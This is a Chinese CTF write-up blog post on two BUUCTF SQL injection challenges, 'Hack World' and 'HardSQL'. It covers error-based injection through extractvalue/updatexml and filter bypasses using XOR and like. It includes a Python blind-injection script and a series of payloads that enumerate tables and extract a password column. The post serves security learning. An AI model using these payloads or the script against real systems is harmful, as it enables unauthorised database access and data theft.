BUUCTF 11

知识点

SQL报错注入

extractvalue()

  • extractvalue() :对XML文档进行查询的函数
  • 语法:extractvalue(目标xml文档,xml路径)
  • 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

  • 正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错

updatexml()

  • updatexml()函数与extractvalue()类似,是更新xml文档的函数。
  • 语法updatexml(目标xml文档,xml路径,更新的内容)

空格过滤:用’^'来连接函数,形成异或

‘=’过滤:用like代替‘=’

left(),right()

语法:LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)

 LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串、

11-1[CISCN2019 华北赛区 Day2 Web1]Hack World

做题思路

发现给出了表名和列名,于是尝试盲注

发现过滤了很多字符,便绕过输入

1^(ascii(substr((select(flag)from(flag)),1,1))>1)^1

接着感觉手工盲注太花时间,便想写脚本

由于不会写脚本,于是便找了个WP,采用了大佬的脚本得到flag

import requests
import time

url = "http://f0c8caf0-fc27-454e-83bc-a557d1891b94.node3.buuoj.cn/index.php"
temp = {"id" : ""}
flag = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)^1" %(i,mid)
        r = requests.post(url,data=temp)
        print(low,high,mid,":")
        if "Hello" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    flag +=chr(mid)
    print(flag)


print("flag=" ,flag)

 

11-2[极客大挑战 2019]HardSQL

做题思路

首先,尝试使用万能密码  并没有得到什么东西

尝试注入 发现order by 和 union 都不行

接下来 不知道该怎么走

然后由WP可知,可以使用 extractvalue和updatexml进行报错注入

然后发现过滤了空格和 and 

尝试用括号代替空格,仍不行,

发现可以 用’^'来连接函数,形成异或

payload: username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23    爆出库名

接着查询表名

payload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23

然后查询geek里的表

过滤了等于号,可以用 like代替‘=’

playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23

然后查询字段名

playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23

获取flag

playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

得到了一部分flag,于是采用left(),right()

playload:username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23

playload:username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right (password,30))from(geek.H4rDsq1))))%23

然后将flag拼接就得到了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值